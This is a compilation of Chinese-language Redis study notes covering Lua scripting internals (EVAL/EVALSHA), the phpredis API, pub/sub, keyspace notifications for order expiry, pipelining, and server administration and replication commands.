Lua环境可以保持清洁,已有的脚本和新加入的脚本不会互相干扰,也可以将重置Lua环境和调用LuaGC的次数降到最低。
如果某个脚本所对应的函数在Lua环境中被定义过至少一次,那么只要记得这个脚本的SHA1校验和就可以直接执行该脚本,这是实现EVALSHA命令的基础
在为脚本创建函数前,程序会先用函数名检查Lua环境,只有在函数定义未存在时程序才创建函数。重复定义函数一般没有什么副作用,这算是一个小优化。
如果定义的函数在编译过程中出错(比如脚本的代码语法有错), 那么程序向用户返回一个脚本错误,不再执行后面的步骤。
2、执行Lua函数
在定义好Lua函数之后,程序就可以通过运行这个函数来达到运行输入脚本的目的了。
不过,在此之前为了确保脚本的正确和安全执行,还需要执行一些设置钩子、传入参数之类的操作, 整个执行函数的过程如下:
将EVAL命令中输入的KEYS参数和ARGV参数以全局数组的方式传入到Lua环境中。
设置伪客户端的目标数据库为调用者客户端的目标数据库: fake_client->db = caller_client->db,确保脚本中执行的redis命令访问的是正确的数据库。
为Lua环境装载超时钩子,保证在脚本执行出现超时时可以杀死脚本或停止redis服务器。
执行脚本对应的Lua函数。
如果被执行的Lua脚本中带有SELECT命令,那么在脚本执行完毕之后伪客户端中的数据库可能已经有所改变,所以需要对调用者客户端的目标数据库进行更新: caller_client->db = fake_client->db 。
执行清理操作: 清除钩子;清除指向调用者客户端的指针等
将Lua函数执行所得的结果转换成redis回复,然后传给调用者客户端。
对Lua环境进行一次单步的渐进式GC
以下是执行EVAL "return 'hello world'" 0的过程中,调用者客户端(caller)、Redis服务器和Lua环境之间的数据流表示图:
因为EVAL "return redis.call('DBSIZE')"只是简单地调用了一次DBSIZE命令,所以Lua和伪客户端只进行了一趟交互,当脚本中的redis.call或redis.pcall次数增多时,Lua和伪客户端的交互趟数也会相应地增多,不过总体的交互方法和上图展示的一样。
【 EVALSHA命令的实现 】
每个被执行过的Lua脚本在Lua环境中都有一个和它相对应的函数, 函数的名字由f_前缀加上40个字符长的SHA1校验和构成: 比如f_5332031c6b470dc5a0dd9b4bf2030dea6d65de91
只要脚本所对应的函数曾经在Lua里面定义过,那么即使用户不知道脚本的内容本身也可以直接通过脚本的SHA1校验和来调用脚本所对应的函数,从而达到执行脚本的目的 —— 这就是EVALSHA命令的实现原理。
可以用伪代码来描述这一原理:
def EVALSHA(sha1):
# 拼接出Lua函数名字
func_name = "f_" + sha1
# 查看该函数是否已经在Lua中定义
if function_defined_in_lua(func_name):
# 如果已经定义过的话,执行函数
return exec_lua_function(func_name)
else:
# 没有找到和输入 SHA1 值相对应的函数则返回一个脚本未找到错误
return script_error("SCRIPT NOT FOUND")
除了执行EVAL命令之外,SCRIPT LOAD命令也可以为脚本在Lua环境中创建函数:
redis> SCRIPT LOAD "return 'hello world'"
"5332031c6b470dc5a0dd9b4bf2030dea6d65de91"
redis> EVALSHA 5332031c6b470dc5a0dd9b4bf2030dea6d65de91 0
"hello world"
SCRIPT LOAD 执行的操作和前面《定义Lua函数》小节描述的一样
小结
初始化Lua脚本环境需要一系列步骤,其中最重要的包括:
创建Lua环境。
载入Lua库,比如字符串库、数学库、表格库,等等。
创建redis全局表格,包含各种对redis进行操作的函数,比如redis.call和redis.log等
创建一个无网络连接的伪客户端,专门用于执行Lua脚本中的redis命令。
Reids通过一系列措施保证被执行的Lua脚本无副作用,也没有有害的写随机性: 对于同样的输入参数和数据集,总是产生相同的写入命令。
EVAL命令为输入脚本定义一个Lua函数,然后通过执行这个函数来执行脚本。
EVALSHA 通过构建函数名,直接调用Lua中已定义的函数,从而执行相应的脚本
php-redis Scripting
【 eval 】
Evaluate a Lua script server side
Parameters
script string.
args array,optional.
num_keys int,optional.
Return value
Mixed. What is returned depends on what theLuascript itself returns,which could be a scalar value (int/string),or an array. Arrays that are returned can also contain other arrays,if that's how it was set up in yourLuascript. If there is an error executing theLuascript,the getLastError() function can tell you the message that came back fromredis(e.g. compile error).
$redis->eval("return 1"); // Returns an integer: 1
$redis->eval("return {1,2,3}"); // Returns Array(1,2,3)
$redis->del('mylist');
$redis->rpush('mylist','a');
$redis->rpush('mylist','b');
$redis->rpush('mylist','c');
// Nested response: Array(1,2,3,Array('a','b','c'));
$redis->eval("return {1,2,3,redis.call('lrange','mylist',0,-1)}");
phpredis执行LUA脚本
【 evalSha 】
Evaluate a Lua script server side,from the SHA1 hash of the script instead of the script itself.
In order to run this commandrediswill have to have already loaded the script,either by running it or via the SCRIPT LOAD command.
Parameters
script_sha string. The sha1 encoded hash of the script you want to run.
args array,optional. Arguments to pass to theLuascript.
num_keys int,optional. The number of arguments that should go into the KEYS array,vs. the ARGV array whenredisspins the script
Return value
Mixed. See EVAL
$script = 'return 1';
$sha = $redis->script('load', $script);
$redis->evalSha($sha); // Returns 1
【 script 】
Execute the redis SCRIPT command to perform various operations on the scripting subsystem.
$redis->script('load',$script);
$redis->script('flush');
$redis->script('kill');
$redis->script('exists',$script1,[$script2,$script3,...]);
Return value
SCRIPT LOAD will return the SHA1 hash of the passed script on success,and FALSE on failure.
SCRIPT FLUSH should always return TRUE
SCRIPT KILL will return true if a script was able to be killed and false if not
SCRIPT EXISTS will return an array with TRUE or FALSE for each passed script
【 client 】
Issue the CLIENT command with various arguments.
The redis CLIENT command can be used in four ways.
CLIENT LIST
CLIENT GETNAME
CLIENT SETNAME [name]
CLIENT KILL [ip:port]
$redis->client('list'); // Get a list of clients
$redis->client('getname'); // Get the name of the current connection
$redis->client('setname','somename'); // Set the name of the current connection
$redis->client('kill',< ip:port>); // Kill the process at ip:port
Return value
This will vary depending on which client command was executed.
CLIENT LIST will return an array of arrays with client information.
CLIENT GETNAME will return the client name or false if none has been set
CLIENT SETNAME will return true if it can be set and false if not
CLIENT KILL will return true if the client can be killed,and false if not
Note: phpredis will attempt to reconnect so you can actually kill your own connection but may not notice losing it!
【 getLastError 】
The last error message (if any)
Parameters
none
Return value
A string with the last returned script based error message,or NULL if there is no error
$redis->eval('this-is-not-lua');
$err = $redis->getLastError();
// "ERR Error compiling script (new function): user_script:1: '=' expected near '-'"
【 clearLastError 】
Clear the last error message
Parameters
none
Return value
BOOL TRUE
$redis->set('x','a');
$redis->incr('x');
$err = $redis->getLastError();
// "ERR value is not an integer or out of range"
$redis->clearLastError();
$err = $redis->getLastError();
// NULL
【 _prefix 】
A utility method to prefix the value with the prefix setting for phpredis.
Parameters
value string. The value you wish to prefix
Return value
If a prefix is set up,the value now prefixed. If there is no prefix,the value will be returned unchanged.
$redis->setOption(Redis::OPT_PREFIX,'my-prefix:');
$redis->_prefix('my-value'); // return 'my-prefix:my-value'
【 _serialize 】
A utility method to serialize values manually.
This method allows you to serialize a value with whatever serializer is configured,manually. This can be useful for serialization/unserialization of data going in and out of EVAL commands as phpredis can't automatically do this itself. Note that if no serializer is set,phpredis will change Array values to 'Array',and Objects to 'Object'.
Parameters
value: Mixed. The value to be serialized
$redis->setOption(Redis::OPT_SERIALIZER,Redis::SERIALIZER_NONE);
$redis->_serialize("foo"); // returns "foo"
$redis->_serialize(Array()); // Returns "Array"
$redis->_serialize(new stdClass()); // Returns "Object"
$redis->setOption(Redis::OPT_SERIALIZER,Redis::SERIALIZER_PHP);
$redis->_serialize("foo"); // Returns 's:3:"foo";'
【 _unserialize 】
A utility method to unserialize data with whatever serializer is set up.
If there is no serializer set,the value will be returned unchanged. If there is a serializer set up,and the data passed in is malformed,an exception will be thrown. This can be useful if phpredis is serializing values,and you return something fromredisin aLuascript that is serialized.
Parameters
value string. The value to be unserialized
$redis->setOption(Redis::OPT_SERIALIZER,Redis::SERIALIZER_PHP);
$redis->_unserialize('a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}'); // Will return Array(1,2,3)
Pub/Sub 发布(Publish)与订阅(Subscribe)
Redis可以设定对某一个key值进行消息发布及消息订阅,当一个key值上进行了消息发布后,所有订阅它的客户端都会收到相应的消息。这一功能最明显的用法就是用作实时消息系统,比如普通的即时聊天,群聊等功能 Redis发布订阅模式为生产者和消费者,可为1-1的关系(为消息队列),也可为1-N的关系,客户端可以订阅任意数量的信道。 Redis发布订阅(pub/sub)是一种消息通信模式: 发送者(pub)发送消息,订阅者(sub)接收消息,可以理解为"我关注了你,你发了信息我就可以立马收的到" Redis发布订阅(pub/sub)实现了消息系统,可以实现最新实时消息的通知,发送者(发布者)在接收者(订阅者)接收消息时发送消息,传送消息的链路称为信道。 发布订阅(pub/sub)是一种消息通信模式,主要的目的是解除消息发布者和消息订阅者之间的耦合,Redis作为一个pub/sub的server,在订阅者和发布者之间起到了消息路由的功能。订阅者可以通过subscribe和psubscribe命令向redis server订阅自己感兴趣的消息类型,redis将信息类型成为通道(channel)。当发布者通过publish命令向redis server发送特定类型的信息时,订阅该信息类型的全部client都会收到此信息 假设有这么一个业务场景,在网站下单支付以后,需要通知库存服务进行发货处理。 上面业务实现不难,只要让库存服务提供给相关的给口,下单支付之后只要调用库存服务即可。 后面如果又有新的业务,比如说积分服务,他需要获取下单支付的结果,然后增加用户的积分。 这个实现也不难,让积分服务同样提供一个接口,下单支付之后只要调用库存服务即可。 如果就两个业务需要获取下单支付的结果,那也还好,程序改造也快。可是随着业务不断的发展,越来越多的新业务说是要下单支付的结果。 这时我们会发现上面这样的系统架构存在很多问题: 第一,下单支付业务与其他业务重度耦合,每当有个新业务需要支付结果,就需要改动下单支付的业务。 第二,如果调用业务过多,会导致下单支付接口响应时间变长。另外如果有任一下游接口响应变慢就会同步导致下单支付接口响应也变长。 第三,如果任一下游接口失败,可能导致数据不一致的情况。比如说下图,先调用A,成功之后再调用B,最后再调用C。 如果在调用B接口的发生异常,此时可能就导致下单支付接口返回失败,但是此时A接口其实已经调用成功,这就代表它内部已经处理下单支付成功的结果。 这样就会导致A,B,C三个下游接口,A获取成功获取支付结果,但BC没有拿到,导致三者系统数据不一致的情况。 其实对于下单支付业务来讲,它其实不需要关心下游调用结果,只要有某种机制通知能通知到他们就可以了。 Redis提供了基于「发布/订阅」模式的消息机制,在这种模式下,消息发布者与订阅者不需要进行直接通信 消息发布者只需要想指定的频道发布消息,订阅该频道的每个客户端都可以接受到到这个消息。 使用Redis发布订阅这种机制,对于上面业务,下单支付业务只需要向支付结果这个频道发送消息,其他下游业务订阅支付结果这个频道,就能收相应消息,然后做出业务处理即可。 这样就可以解耦系统上下游之间调用关系 发布订阅的场景 1、典型的网页上的消息可以做到实时通知 2、订单下单以后通过redis订阅实时通知库存改变 3、接口需要做一些比如发送邮件、写日志等功能的时候可以运用到redis订阅了,这样会加快接口返回时间 Pub/Sub功能 1、基于事件的系统中,Pub/Sub是目前广泛使用的通信模型,它采用事件作为基本的通信机制,提供大规模系统所要求的松散耦合的交互模式: 订阅者(如客户端)以事件订阅的方式表达出它有兴趣接收的一个事件或一类事件;发布者(如服务器)可将订阅者感兴趣的事件随时通知相关订阅者。 2、消息发布者,即publish客户端,无需独占链接,可以在publish消息的同时,使用同一个redis-client链接进行其他操作,如INCR等 3、消息订阅者,即subscribe客户端,需要独占链接,即进行subscribe期间redis-client无法穿插其他操作,此时client以阻塞的方式等待"publish端"的消息,因此subscribe端需要使用单独的链接,甚至需要在额外的线程中使用。 模式匹配订阅 Redis的Pub/Sub实现支持模式匹配。 客户端可以订阅全风格的模式以便接收所有来自能匹配到给定模式的频道的消息,比如将接收所有发到test.name,test.phone,test.address等等的消息,该这样写: PUBSCRIBE test.* 在终端回车后,同时再新的窗口里分别发布两个频道的消息,名字分别为:test.name和test.phone,然后切换到订阅端的窗口里 在订阅了test.*频道后,一共收到了test.name和test.phone两个频道的消息,这就是模式匹配订阅。 取消订阅匹配该模式的客户端: PUNSUBSCRIBE test.* 以下示例说明了发布用户概念的工作原理,一个客户端订阅名为"redisChat"的信道 redis 127.0.0.1:6379> publish pay_result success // 使用publish指令向pay_result这个频道发送了一条消息,redis返回0,代表当前订阅者个数,由于此时没有订阅,所以为0 0 redis 127.0.0.1:6379> subscribe pay_result 1 redis 127.0.0.1:6379> get test Connection in subscriber mode, only subscriber commands may be used 客户端执行订阅指令之后,就会进入订阅状态,之后就只能接收subscribe、psubscribe、unsubscribe、punsubscribe这四个命令 新订阅的客户端,是无法收到这个频道之前的消息,这是因为Redis并不会对发布的消息持久化的。 相比于很多专业MQ,比如kafka、rocketmq来说,redis发布订阅功能就显得有点简陋了。不过redis发布订阅功能胜在简单,如果当前场景可以容忍这些缺点,还是可以选择使用的。 redis 127.0.0.1:6379> subscribe redisChat Reading messages... (press Ctrl-C to quit) 1) "subscribe" 2) "redisChat" 3) (integer) 1 现在两个客户端在名称为"redisChat"的相同信道上发布消息,并且上述订阅的客户端接收消息。 redis 127.0.0.1:6379> publish redisChat "Redis is a great caching technique" (integer) 1 redis 127.0.0.1:6379> publish redisChat "Learnredisby yiibai" (integer) 1 1) "message" 2) "redisChat" 3) "Redis is a great caching technique" 1) "message" 2) "redisChat" 3) "Learnredisby yiibai" Redis发布订阅相关的一些基本命令 1、subscribe channel [channel …] 订阅监听给定的一个或多个频道的信息 2、publish channel message 将信息message发送到指定的频道channel 3、psubscribe pattern [pattern …] 订阅一或多个符合给定模式的频道,前缀"P"是Pattern,每个模式以*作为匹配符,如news.*匹配所有以news.开头的频道(news.it、news.global.today等 4、pubsub subcommand [argument [argument …]] 查看订阅与发布系统状态 5、punsubscribe [pattern [pattern …]] 退订所有给定模式的频道 6、unsubscribe [channel [channel …]] 退订给定的频道
php-redis Pub/sub
【 pSubscribe 】
Subscribe to channels by pattern
Parameters
patterns: An array of patterns to match
callback: Either a string or an array with an object and method. The callback will get four arguments ($redis,$pattern,$channel,$message)
return value: Mixed. Any non-null return value in the callback will be returned to the caller.
function pSubscribe($redis,$pattern,$chan,$msg) {
echo "Pattern: $pattern\n";
echo "Channel: $chan\n";
echo "Payload: $msg\n";
}
【 publish 】
Publish messages to channels. Warning: this function will probably change in the future.
Parameters
channel: a channel to publish to
message: string
$redis->publish('chan-1','hello,world!'); // send message.
【 subscribe 】
Subscribe to channels. Warning: this function will probably change in the future.
Parameters
channels: an array of channels to subscribe to
callback: either a string or an array($instance,'method_name'). The callback function receives 3 parameters: theredisinstance,the channel name,and the message.
return value: Mixed. Any non-null return value in the callback will be returned to the caller.
function f($redis,$chan,$msg) {
switch($chan) {
case 'chan-1':
// ...
break;
case 'chan-2':
// ...
break;
case 'chan-3':
// ...
break;
}
}
$redis->subscribe(array('chan-1','chan-2','chan-3'),'f'); // subscribe to 3 chans
【 pubSub 】
A command allowing you to get information on theredispub/sub system.
Parameters
keyword: String,which can be: "channels","numsub",or "numpat"
argument: Optional,variant. For the "channels" subcommand,you can pass a string pattern. For "numsub" an array of channel names.
Return value
CHANNELS: Returns an array where the members are the matching channels.
NUMSUB: Returns a key/value array where the keys are channel names and values are their counts.
NUMPAT: Integer return containing the number active pattern subscriptions
$redis->pubSub("channels"); // All channels
$redis->pubSub("channels","*pattern*"); // Just channels matching your pattern
$redis->pubSub("numsub",Array("chan1","chan2")); // Get subscriber counts for 'chan1' and 'chan2'
$redis->pubSub("numpat"); // Get the number of pattern subscribers
优化cli.php时可以考虑使用swoole进行常驻进程而不是死循环 【 如何实现从Redis中订阅消息转发到WebSocket客户端 】 PHP的redis扩展是阻塞式IO,使用订阅/发布模式时会导致整个进程进入阻塞,因此必须使用Swoole\Redis异步客户端来实现 实现过程 在进程启动(onWorkerStart)时创建了Swoole\Redis客户端,连接到Redis服务器 连接成功后,订阅msg_0主题的消息 当有新的message时,Swoole\Redis会触发onMessage事件回调 在这个回调函数中使用$server->connections遍历服务器所有的连接,发送消息
使用redis的keyspace notifications(键失效后通知事件)实现延迟任务,实现自动取消与完成订单 https://redis.io/topics/notifications
redis的keyspace notifications会在key失效后发送一个事件,监听此事件的的客户端就可以收到通知
Redis的2.8.0版本之后可用键空间消息(Redis Keyspace Notifications),配合2.0.0版本之后的SUBSCRIBE就能完成定时任务的操作了
将订单过期时间信息写入mysql,按分钟轮询查询mysql,如果超时则进行处理,效率差,时间精准度低
1、修改reids配置文件redis.conf,window系统配置文件为redis.windows.conf,redis默认不会开启keyspace notifications,因为开启后会对cpu有消耗
E:keyevent事件,事件以__keyevent@< db>__为前缀进行发布;
x:过期事件,当某个键过期并删除时会产生该事件;
原配置:notify-keyspace-events ""
更改配置如下:notify-keyspace-events "Ex"
保存配置后,重启Redis服务,使配置生效
service redis-server restart /usr/local/redis/etc/redis.conf
window系统重启redis,先切换到redis文件目录,然后关闭redis服务(redis-server --service-stop),再开启(redis-server --service-start)
K:keyspace事件,事件以__keyspace@< db>__为前缀进行发布;
E:keyevent事件,事件以__keyevent@< db>__为前缀进行发布;
g:一般性的,非特定类型的命令,比如del,expire,rename等;
$:字符串特定命令;
l:列表特定命令;
s:集合特定命令;
h:哈希特定命令;
z:有序集合特定命令;
x:过期事件,当某个键过期并删除时会产生该事件;
e:驱逐事件,当某个键因maxmemore策略而被删除时产生该事件;
A:g$lshzxe的别名,因此"AKE"意味着所有事件。
redis.windows-service.conf中的notify-keyspace-events改为"Ex" 后重启redis还是不能生效,所以后面改为用命令修改,此法的缺点就是redis重启后配置就不生效
操作步骤为:启动redis服务后,打开两个客户端,输入
config set notify-keyspace-events KEA
psubscribe '__key*__:*'
单节点都设置为Egx
$this->redis = new \Redis();
$this->redis->config('notify-keyspace-events','Ex');//开启redis key 过期通知(改过配置文件,但没成功)
$this->redis->connect($host, $port);
phpredis实现订阅Keyspace notification,可实现自动取消订单,自动完成订单tp5命令行+redis发布订阅实现定时任务
reids 管道 pipeline
Redis使用的是客户端-服务器(CS)模型和请求/响应协议的TCP服务器 在Redis中一个请求会通过以下步骤完成: 客户端向服务器发送一个查询请求,并监听套接字socket返回,通常以阻塞的方式等待服务器响应。 服务器处理命令并将响应结果发送回客户端。 因此当执行多条命令的时候都需要等待上一条命令执行完毕才能执行 一般使用redis去put/get都是先拿到一个redis实例,然后操作,然后释放连接; 这种模式是请求-响应,请求-响应,下一次请求必须得等第一次请求响应回来之后才可以,因为redis是单线程的,按部就班,一步一步来。 而pipeline管道改变了这种请求模式,客户端可以一次发送多个命令,无须等待服务器的返回 请求,请求,请求,响应,响应,响应 这种模式这就大大减少了影响性能的关键因素-网络往返时间,通过管道从连接到本地主机速度增加五倍,因特网连接的至少快一百倍 Redis管道技术可以在服务端未响应时,客户端可以继续向服务端发送多个请求,而不必等待回复,并最终一次性读取所有服务端的响应 通过pipeline client可将多个命令放到一个tcp报文一起发送,server则可将多条命令的处理结果放到一个tcp报文返回 pipeline通过减少客户端与redis的通信次数来实现降低往返延时时间RTT(Round Trip Time),而且Pipeline实现的原理是队列,而队列的原理是先进先出,这样就保证数据的顺序性。Pipeline的默认的同步的个数为53个,也就是说arges中累加到53条数据时会把数据提交 Pipeline在某些场景下非常有用,比如有多个command需要被及时的提交,而且他们对相应结果没有互相依赖,对结果响应也无需立即获得,那么pipeline就可以充当这种批处理的工具,而且在一定程度上可以较大的提升性能,性能提升的原因主要是TCP连接中减少了交互往返的时间。 用pipeline方式打包命令发送,redis必须在处理完所有命令前先缓存起所有命令的处理结果。打包的命令越多,缓存消耗内存也越多。所以并不是打包的命令越多越好,具体多少合适需要根据具体情况测试 pipeline期间将独占链接,此期间将不能进行非管道类型的其他操作,直到pipeline关闭 如果pipeline的指令集很庞大,为了不干扰链接中的其他操作,可以为pipeline操作新建Client链接 不过pipeline事实上所能容忍的操作个数和socket-output缓冲区大小/返回结果的数据尺寸都有很大的关系;同时也意味着每个redis-server同时所能支撑的pipeline链接的个数也是有限的,这将受限于server的物理内存或网络接口的缓冲能力 使用管道发送命令时,服务器将被迫回复一个队列答复,占用很多内存。所以如果需要发送大量的命令,最好是把他们按照合理数量分批次的处理,例如10K的命令,读回复,然后再发送另一个10k的命令。这样速度几乎是相同的,但在回复这10k命令队列需要非常大量的内存用来组织返回数据内容 适用场景 有些系统可能对可靠性要求很高,每次操作都需要立马知道这次操作是否成功,是否数据已经写进redis了,那这种场景就不适合。 有的系统可能是批量的将数据写入redis,允许一定比例的写入失败,那么这种场景就可以使用了,比如10000条一下进入redis,可能失败了2条无所谓,后期有补偿机制就行了,比如短信群发这种场景,如果一下群发10000条,按照普通模式去实现,那这个请求过来要很久才能给客户端响应,这个延迟就太长了,如果客户端请求设置了超时时间5秒,那肯定就抛出异常了,而且本身群发短信要求实时性也没那么高,这时候用pipeline最好了。使用PING命令检查Redis连接。这里设置了一个名称为tutorial的字符串,值为redis。然后得到键值,并增加visitor数量三次。在结果中可以看到所有命令都提交到Redis一次,Redis在一个步骤中提供所有命令的输出。pipeline vs transcation
管道(Pipelining) VS 脚本(Scripting) 大量pipeline应用场景可通过Redis脚本得到更高效的处理,后者在服务器端执行大量工作。脚本的一大优势是可通过最小的延迟读写数据,让读、计算、写等操作变得非常快,pipeline在这种情况下不能使用,因为客户端在写命令前需要读命令返回的结果 应用程序有时可能在pipeline中发送EVAL或EVALSHA命令。Redis通过SCRIPT LOAD命令(保证EVALSHA成功被调用)明确支持这种情况。
redis服务器命令用于管理redis服务
【 info命令 】 redis> info // 获取redis服务器的统计信息 redis> info [section] // 通过给定可选的参数section,可以让命令只返回某一部分的信息 server: 一般Redis服务器信息,包含以下域: redis_version :redis服务器版本 redis_git_sha1 : Git SHA1 redis_git_dirty : Git dirty flag os :redis服务器的宿主操作系统 arch_bits : 架构(32 或 64 位) multiplexing_api :redis所使用的事件处理机制 gcc_version : 编译redis时所使用的 GCC 版本 process_id : 服务器进程的 PID run_id :redis服务器的随机标识符(用于 Sentinel 和集群) tcp_port : TCP/IP 监听端口 uptime_in_seconds : 自redis服务器启动以来,经过的秒数 uptime_in_days : 自redis服务器启动以来,经过的天数 lru_clock : 以分钟为单位进行自增的时钟,用于 LRU 管理 clients : 已连接客户端信息,包含以下域: connected_clients : 已连接客户端的数量(不包括通过从属服务器连接的客户端) client_longest_output_list : 当前连接的客户端当中,最长的输出列表 client_longest_input_buf : 当前连接的客户端当中,最大输入缓存 blocked_clients : 正在等待阻塞命令(BLPOP、BRPOP、BRPOPLPUSH)的客户端的数量 memory : 内存信息,包含以下域: used_memory : 由redis分配器分配的内存总量,以字节(byte)为单位 used_memory_human : 以人类可读的格式返回redis分配的内存总量 used_memory_rss : 从操作系统的角度,返回redis已分配的内存总量(俗称常驻集大小)。这个值和 top 、 ps 等命令的输出一致。 used_memory_peak :redis的内存消耗峰值(以字节为单位) used_memory_peak_human : 以人类可读的格式返回redis的内存消耗峰值 used_memory_lua :Lua引擎所使用的内存大小(以字节为单位) mem_fragmentation_ratio : used_memory_rss 和 used_memory 之间的比率 mem_allocator : 在编译时指定的,Redis 所使用的内存分配器。可以是 libc 、 jemalloc 或者 tcmalloc 。 在理想情况下,used_memory_rss 的值应该只比 used_memory 稍微高一点儿。 当 rss > used ,且两者的值相差较大时,表示存在(内部或外部的)内存碎片。 内存碎片的比率可以通过 mem_fragmentation_ratio 的值看出。 当 used > rss 时,表示redis的部分内存被操作系统换出到交换空间了,在这种情况下,操作可能会产生明显的延迟。 当redis释放内存时,分配器可能会,也可能不会,将内存返还给操作系统。 如果redis释放了内存,却没有将内存返还给操作系统,那么 used_memory 的值可能和操作系统显示的redis内存占用并不一致。 查看 used_memory_peak 的值可以验证这种情况是否发生。 persistence : RDB 和 AOF 的相关信息 stats : 一般统计信息 replication : 主/从复制信息 cpu : CPU 计算量统计信息 commandstats :redis命令统计信息 cluster :redis集群信息 keyspace : 数据库相关的统计信息 【 client list命令 】 列出所有已连接客户端,返回所有连接到服务器的客户端信息和统计数据 命令返回多行字符串,这些字符串按以下形式被格式化: 每个已连接客户端对应一行(以LF分割),每行字符串由一系列 属性=值 形式的域组成,每个域之间以空格分开 addr : 客户端的地址和端口 fd : 套接字所使用的文件描述符 age : 以秒计算的已连接时长 idle : 以秒计算的空闲时长 flags : 客户端 flag db : 该客户端正在使用的数据库ID sub : 已订阅频道的数量 psub : 已订阅模式的数量 multi : 在事务中被执行的命令数量 qbuf : 查询缓冲区的长度(字节为单位,0表示没有分配查询缓冲区) qbuf-free : 查询缓冲区剩余空间的长度(字节为单位,0表示没有剩余空间) obl : 输出缓冲区的长度(字节为单位,0表示没有分配输出缓冲区) oll : 输出列表包含的对象数量(当输出缓冲区没有剩余空间时,命令回复会以字符串对象的形式被入队到这个队列里) omem : 输出缓冲区和输出列表占用的内存总量 events : 文件描述符事件 cmd : 最近一次执行的命令 客户端flag可以由以下部分组成: O : 客户端是MONITOR模式下的附属节点(slave) S : 客户端是一般模式下(normal)的附属节点 M : 客户端是主节点(master) x : 客户端正在执行事务 b : 客户端正在等待阻塞事件 i : 客户端正在等待VM I/O操作(已废弃) d : 一个受监视(watched)的键已被修改,EXEC 命令将失败 c : 在将回复完整地写出之后,关闭链接 u : 客户端未被阻塞(unblocked) A : 尽可能快地关闭连接 N : 未设置任何 flag 文件描述符事件可以是: r : 客户端套接字(在事件loop中)是可读的(readable) w : 客户端套接字(在事件loop中)是可写的(writeable) 【 time命令 】 返回当前服务器时间,一个包含两个字符串的列表: 第一个字符串是当前时间(以UNIX时间戳格式表示),而第二个字符串是当前这一秒钟已经逝去的微秒数 【 lastsave命令 】 返回最近一次Redis成功将数据保存到磁盘上的时间,以UNIX时间戳格式表示 【 client setname connection-name命令 】 client setname hello-world-connection 指定当前连接的名称 【 client getname命令 】 返回CLIENT SETNAME命令为连接设置的名字;新创建的连接默认没有名字,CLIENT GETNAME返回空白回复 【 client pause timeout命令 】 在指定时间内终止运行来自客户端的命令,用于阻塞客户端命令一段时间(以毫秒计) 【 client kill ip:port命令 】 client kill 127.0.0.1:43501 关闭客户端连接,成功返回OK 【 bgrewriteaof命令 】 异步执行一个AOF(AppendOnly File)文件重写操作,重写会创建一个当前AOF文件的体积优化版本 AOF重写由Redis自行触发,BGREWRITEAOF仅仅用于手动触发重写操作 即使Bgrewriteaof执行失败,也不会有任何数据丢失,因为旧的AOF文件在Bgrewriteaof成功之前不会被修改 【 cluster slots命令 】 获取集群节点的映射数组,用于当前的集群状态,以数组形式展示 【 command命令 】 获取Redis命令详情数组,返回嵌套的Redis命令的详细信息列表,列表顺序是随机的 command count 获取redis命令总数 // 172 command getkeys command getkeys mset a b c d e f 获取给定命令的所有键 command info command-name [command-name ...] command info get set eval 获取指定redis命令描述的数组 【 debug object key命令 】 获取key的调试信息,是一个调试命令,它不应被客户端所使用 当key存在时返回有关信息,否则返回一个错误 【 debug segfault命令 】 让redis服务崩溃,执行一个非法的内存访问从而让redis崩溃,仅在开发时用于 bug 调试 【 monitor命令 】 实时打印出redis服务器接收到的命令,调试用 通过执行monitor命令,客户端可以将自己变为一个监视器,实时地接收并打印出服务器当前处理的命令请求的相关信息 【 role命令 】 查看主从实例所属的角色,角色有master,slave,sentinel 返回一个数组: 第一个参数是 master,slave,sentinel 三个中的一个 【 shutdown [nosave] [save]命令 】 异步保存数据到硬盘并关闭服务器 执行失败时返回错误,执行成功时不返回任何信息,服务器和客户端的连接断开,客户端自动退出 执行以下操作: 停止所有客户端 如果有至少一个保存点在等待,执行save命令 如果aof选项被打开,更新aof文件 关闭redis服务器(server) 【 slaveof host port命令 】 slaveof 127.0.0.1 6379 slaveof no one 将当前服务器转变为指定服务器的从属服务器(slave server) 如果当前服务器已经是某个主服务器(master server)的从属服务器,那么执行slaveof host port将使当前服务器停止对旧主服务器的同步,丢弃旧数据集,转而开始对新主服务器进行同步。 对一个从属服务器执行命令slaveof no one将使得这个从属服务器关闭复制功能,并由从属服务器转变回主服务器,原来同步所得的数据集不会被丢弃,利用这个特性,可以在主服务器失败时将从属服务器用作新的主服务器,从而实现无间断运行 【 slowlog subcommand [argument]命令 】 读取和重置redis慢请求日志 redis的slow log记录了那些执行时间超过规定时长的请求。执行时间不包括I/O操作(比如与客户端进行网络通信等),只是命令的实际执行时间(期间线程会被阻塞,无法服务于其它请求) 有两个参数用于配置slow log: slowlog-log-slower-than 设定执行时间,单位是毫秒,执行时长超过该时间的命令将会被记入log。-1表示不记录slow log; 0强制记录所有命令。 slowlog-max-len slow log的长度。最小值为0。如果日志队列已超出最大长度,则最早的记录会被从队列中清除。 可通过编辑redis.conf文件配置以上两个参数。对运行中的redis,可以通过config get,config set命令动态改变上述两个参数 slowlog get // 列出所有slow log slowlog get 2 // 查看日志信息,列出最近的两条slow log slowlog len // 查看当前日志的数量 slowlog reset // 清空slowlog 每个条目由4个字段构成: 1)用于表示该条slow log的唯一id,只有当reids重启后id编号才会被重置 2)以unix时间戳表示的日志记录时间 3)命令执行时间,单位微秒 4)执行的具体命令 管理redis的慢日志 redis slowlog是redis用来记录查询执行时间的日志系统。 查询执行时间指的是不包括像客户端响应(talking)、发送回复等io操作,而单单是执行一个查询命令所耗费的时间。 slow log保存在内存里面,读写速度非常快,因此可放心地使用,不必担心因为开启slow log而损害redis的速度 【 sync命令 主从复制 】 同步主从服务器,用于复制功能(replication)的内部命令 primary slave 通过主从复制可以允许多个slave server拥有和master server相同的数据库副本 Redis的主从同步: 对提高读取性能非常有益 Redis主从复制过程 1、slave与master建立连接,发送sync同步命令 2、master会启动一个后台进程,将数据库快照保存到文件中,同时master主进程会开始收集新的写命令并缓存。 3、后台完成保存后就将此文件发送给slave 4、slave将此文件保存到硬盘上 配置主从服务器 配置slave服务器,只需要在slave的配置文件中加入以下配置" slaveof 192.168.1.1 6379 #指定master的ip 和端口 masterauth lamp #这是主机的密码
redies数据库分区、备份、恢复
